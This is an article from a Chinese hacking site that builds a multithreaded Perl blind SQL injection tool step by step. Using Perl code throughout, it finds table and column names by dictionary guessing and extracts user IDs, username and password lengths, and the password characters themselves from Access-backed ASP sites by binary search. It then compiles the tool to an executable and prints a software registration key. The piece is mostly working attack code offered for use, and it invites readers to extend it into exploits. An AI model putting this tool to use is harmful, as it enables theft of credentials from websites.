您没有来错地!为了更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 电脑技术 查看内容

Perl铸造多线程中文SQL注入猜解机

2009-11-3 16:13| 投稿: computer

摘要: 说到SQL注入机,从娃娃针对动网文章的DvTxt.pl到臭要饭的绝世猜解CSC、NB联盟的NBSI,相信大家也都用过吧。搞笑的是开天始祖DvTxt.pl,也不知被改了多少遍,以用于针对各种不同的有SQ...
说到SQL注入机,从娃娃针对动网文章的DvTxt.pl到臭要饭的绝世猜解CSC、NB联盟的NBSI,相信大家也都用过吧。搞笑的是开天始祖DvTxt.pl,也不知被改了多少遍,以用于针对各种不同的有SQL注入漏洞的系统,通常黑防的一篇《**存在SQL注入漏洞》的文章一出,末了,很多人都要把这尊大佛抬出来,更改几个字段,然后,又一个**攻击工具出土了!对于臭要饭的绝世猜解CSC,我用得已经是忍无可忍了,虽然采用了多线程技术,但是依然弥补不了算法低劣的恶劣影响,破解由于采用的是字典,不仅速度慢,同时也限制了对中文这样的双字节字符的破解,而NBSI,破解算法虽然得到了改进,但是却忘了多线程,而且在猜解表名、列名时,共用一个大字典,白白浪费掉不少时间。两个东西拼在一起就好了,可是没有原代码啊(可视化开发工具,在下也只会用VB)!也不知道老大们是不是用一种语言开发的,就算是同一种,就算是VB,也没有人谁愿意提供原代码,无奈下只好响应主席号召:自己动手,丰衣足食!程序不过是将手动变为自动,先来痛苦地回忆一下手动注入猜解的过程:先找到注入点->构造SQL查询语句->提交URL->根据浏览器返回信息判断SQL查询语句正确性->修正SQL查询语句->重复前面步骤N遍,直到得到数据库存储的正确信息。翻译成程序语言:输入存在SQL注入漏洞的URL($url)->从URL中提取主机($host)、路径($path)、端口($port)->构造SQL查询语句加入URL($url)->用IO::Socket向目标主机提交URL->从返回的页面中提取查询逻辑值为真(假)时存在的字符($info),成功则转入对下一目标值的猜解,失败则继续重复前几步。猜解全局流程图如下:用户信息表->用户名字段->密码字段->ID字段->最小用户ID->用户名长度->密码长度->用户名->密码说得有点简约,因为这些东西普及得实在厉害,更详细的内容,大家可以参阅《黑客防线》第5期的SQL注入专题,理论讲完了,大家也都情不自禁、心急火燎、磨刀霍霍……LET’GO!   提取主机信息曾记得娃娃的那个DvTxt.pl,还有它那烦琐的用法:DvTxt.pl <host> <way> <articleID> <errInfo> $URL一家三口被活生生的拆散,苍天啊,多可怜啊!在使用中,复制粘贴起来极为不便,其实使用PERL强大的正则表达式,一切都可以迎刃而解,先来随便观察几个URL:http://www.he***.tk/show.asp?id=957http://www.he***.tk:1314/show.asp?id=957http://www.he***.tk/article/show.asp?id=957透过现象看本质,规律也就出来了:(http://)主机(:端口)/ 路径括号内的字符出现0或1次,了解完这个,正则表达式也就有了:if($url=~/(\/\/)?(.+?)\/(.+)/){$host=$2;$path='/'.$3;if($host=~/(.+):(.+)/){$host=$1;$port=$2;}}在“$url=~/(\/\/)?(.+?)\/(.+)/”中,先要说一说的是问号“?”,“?”匹配0个或1个该字符,所以在输入链接的时候“http://”可有可无;匹配主机($host)的是(.+?),为什么不是(.+)?因为Perl默认的贪婪模式,将尽可能多的匹配至后面的字符(在这里是‘/’),所以如果不及时限定,对这样一个URL:http://www.he***.tk/article/show.asp?id=957$host将匹配至www.he***.tk/article,而不是我们想要的www.he***.tk。 IO::Socket提交函数经过刚才的努力,也该是有回报的时候了,赶紧用我们提取得到的主机($host)、路径($path)、端口($port)写好这个提交函数:sub connect{$req = "GET $path$path1 HTTP/1.0\n"."Host: $host\n"."Referer: $host\n"."Cookie: \n\n";my $connection = IO::Socket::INET->new(Proto =>"tcp",PeerAddr =>$host,PeerPort =>$port) || die "Sorry! Could not connect to $host \n";print $connection $req;my @res = <$connection>;close $connection;return @res;}Connect子例程将返回信息存储在数组@res中。 猜解用户信息表这里使用SQL查询语句:0<>(select count(*) from TABLE)真正的破解开始了,没有什么捷径可走,顺次读取字典里存储的表名,然后一个一个的尝试,一旦成功匹配正确信息,立即退出While循环;字典有两种,一种是数组,第二是文本字典,Perl脚本我们将编译为EXE可执行文件,为了便于今后修改添加新的表名,我使用文本字典文件:open (tabInput,"table.txt") or die "can't open file!\n";while (chomp(my $input=<tabInput>)){my $sql="0<>(select%20count(*)%20from%20$input)";$path1 = "%20AND%20$sql";&url;@res = &connect;if ("@res"=~/$info/){$table_user=$input;print "the table of userinfo is:$table\n";last;}}close(tabInput); 猜解字段名这里使用SQL查询语句:exists (select COL_NAME from TABLE)这一步同猜解表名如出一辙,一旦成功获取表名,我们将兵分三路,直取用户名列($field_user)、密码列($field_pass)、ID列($field_id),既然是分兵出击,就不得不使用多线程,Perl中的多线程,呵呵,你还没有试过吧?为实现多线程作的第一个准备,编写猜解子例程(函数),我们依然使用文本字典文件,在这里,文件名作为唯一的参数传入:sub field_input{my $field;open (fieInput,"$_[0]") or die "can't open file!\n";while (chomp(my $input=<fieInput>)){my $sql="exists%20(select%20$input%20from%20$table_User)";$path1 = "%20AND%20$sql";my @res = &connect;if ("@res"=~/$info/){$field=$input;print "\t+-- $field --+";last;}}close(fieInput);return $field;} Socket:PERL多线程速成现在Socket开始带大家学习Perl的多线程技术!也许现在你就开始胆战心惊,以为这有什么了不起,呵呵,80/20的瑞士军刀法则在这里又是那么管用,我们仅仅需要学习两个函数就可以结束我们的速成班:$thread = threads->create(function,LIST)以变量名$thread,创建一个子例程\函数(FUNCTION)的一个线程,LIST为子例程\函数的参数,CREATE可替换为NEW。$thread->join等待线程运行完毕。一旦结束运行,Join()将返回子例程\函数(FUNCTION)的值。THAT'S ALL!就这么简单?完了?就这么两把菜刀就可以干我们的革命了?!哈哈,别不信!5、4、3、2、1、点火,GO!$thread1 = threads->create("field_Input","field_Username.txt");$thread2 = threads->create("field_Input","field_Password.txt");$thread3 = threads->create("field_Input","field_ID.txt");回收返回仓:$field_Username = $thread1->join();$field_Password = $thread2->join();$field_ID = $thread3->join();同时射出三个线程,然后Jion回来,多么完美的落地啊,满分10分! 猜数字的技巧马再多也跑不过火车,即便是多了几匹马。我们来研究一下猜解的技巧,回过头看看等待我们的任务:最小用户ID->用户名长度->密码长度->用户名->密码。ID值是天然的数值,长度是Length($field),一位用户名和密码的ASCII码还是数值,都玩过网上的一个猜数字的JavaScript游戏吧?一个100以内的数,为什么只给你7次机会去猜?因为2^7=128,换句话说,一个128以内的数,你也只需猜7次,那么李咏《幸运52》节目里那些几千上万的东西,又要猜几次呢?2^13=8192,2^14=16384,你还愁拿不到奖品吗?! 小提示:猜一个8以内的数,比如是5,按照上面的原理,步骤如下:? < 4 N? < 6 Y 4 + 2? < 5 N 6 - 1? = 5也就用了三次,首先从中值(4)开始,每猜解一次加\减中值的一半(2、1),这些2^n都是固定了的。 为了避免CPU的重复计算,可以根据猜解值的范围,相应预备一个数组,我准备了四个:@dic1=(128,64,32,16,8,4,2,1); # 最小用户ID@dic2=(16,8,4,2,1); # 用户名、密码长度@dic3=(64,32,16,8,4,2,1); # 英文字符@dic4=(16384,8192,4096,2048,1024,512,256,128,64,32,16,8,4,2,1); #中文字符 算法函数如下:sub crack{my(@dic) = @_;my $sql=pop(@dic);my $i=0;my $op=1;my $crack;foreach my $pass(@dic){print ">";$i++;$crack+=$op*$pass;$path1 = "%20AND%20$crack<($sql)";my @res = &connect;if ("@res" =~ /$info/){$op=1;if($i==@dic){$crack++;}}else{$op=-1;}}return $crack;} $sql="select%20min($field_ID)%20from%20$table_User";$id=&crack(@dic1,"$sql"); 小提示:传递进构造的SQL注入语句以及相应的数组字典,Crack!参数为数组时,子程序只将它赋给一个数组变量,my(@dic)而非my(@dic,$sql) =@_;后者$sql必然为空!简单变量和数组变量是可以同时传递,$sql在此是@dic的最后一个元素。pop(@dic)再删去列表最后一个元素($sql),并将其作为返回值,剩下的@dic就是纯洁的数字了。 让我们一鼓作气,拿下用户名和密码长度,同时,别忘了使用多线程:$sql="select%20len($field_Username)%20from%20$table_User%20where%20field_ID=$id";my $thread4 = threads->create("crack",@dic2,$sql);$sql="select%20len($field_Password)%20from%20$table_User%20where%20$field_ID=$id";my $thread5 = threads->create("crack",@dic2,$sql);$userlen = $thread4->join();$passlen = $thread5->join(); 最后的战役——攻破字段值使用SQL查询语句:select abs(asc(mid($fieUsername,$locat,1))) from $table_User where $field_Id = $id 小提示:这里不讨论MS-SQL中的猜测,可以说MS-SQL下是不用猜测的,只要构造的条件足够的好,可以直接让对方在报错的时候将数据内容直接显示出来。 ACCESS中字符的猜测:首先要判断ASCII码值是否大于零,大于就用@dic3套到Crack函数里面,小于就用@dic4了!函数返回数值以后,对于英文字符,有两种方法:使用Nchar($asc)或者Pack('C*',$asc);而对于中文字符:打开计算器,选择科学型,转换成十六进制单字,是****,用UltraEdit编辑为*字,哈哈……那就不叫编程了!首先要用Sprintf("%X",$asc)完成计算器的转换十六进制的工作(别忘了用正则表达式提出最后四位,不然一个字前面就要冒出两个空格)然后再用Pack("H*",$str)完成UltraEdit的打包作业: sub asc{my $asc=$_[0];my $str;if ($asc<256){$str = pack('C*',$asc);}else{$asc*=-1;$str = sprintf("%X",$asc);if ($str=~/(.{4})$/i){$str=$1;}$str = pack("H*",$str);}return $str;}万事俱备,只欠东风,此仅举猜解密码值为例,一位密码启动一个Crack子线程:for (my $locat=1;$locat<=$passlen;$locat++){$sql = "select%20asc(mid($field_Password,$locat,1))%20from%20$table_User%20where%20$field_Id=$id";$path1 = "%20AND%200>($sql)";my @res = &connect;if ("@res" =~ /$info/){$sql = "select%20abs(asc(mid($field_Password,$locat,1)))%20from%20$table_User%20where%20$field_Id=$id";$password[$locat] = threads->create("crack",@dic4,$sql);}else{$password[$locat] = threads->create("crack",@dic3,$sql);}}慢慢等待这些孩子们都一个个衣锦还乡吧:for (my $locat=1;$locat<=$passlen;$locat++){$password[$locat] = $password[$locat]->join();}其它的显示细节,我就不多说了,赶忙编译成EXE! 编译Perl为EXE从Perl2exe的老家http://www.indigostar.com/perl2exe.htmDOWN个最新版本的Perl2Exe for Win32,目前为止是8.40,直接解压缩,CMD命令行进入解压后的目录,为了避免浏览烦人的广告,我们先得注册一下这个软件:D:\he***\software>perl2exe -registerPerl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR SoftwarePlease enter your registration key, or press enter to cancel输入我的注册码:he***:he***:20040709,36713注册成功之后显示:Registered同时,程序目录生成一个名为Perl2exe.key的注册表文件,可千万移不得啊!编译PL:D:\he***\software>perl2exe si.plPerl2Exe V8.40 Copyright (c) 1997-2004 IndigoSTAR SoftwareRegistered to he***:he***:20040709, ENT versionConverting 'si.pl' to si.exe 一个多线程的、支持中文破解的PERL版注入器就诞生了!它大约能提高一倍的速度,也就是可以节约一半的时间,与我的预期还是有很大出入的。美中不足的是真应了“欲速则不达”的古语,我提供了两个版本(thr.pl\sig.pl),对于那些网速较慢的网站,呵呵……用了你就知道,一般人我不告诉!最好还是改用单线程的,稳定性较好。不过代码在手,我就不怕你会改,增强稳定性什么的,稍微加上几个函数,让它支持PHP+MYSQL,ASP+MSSQL什么的……一句话:网聚人的力量!支持开放源代码!你要把俺的程序改成EXP俺都没意见!

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部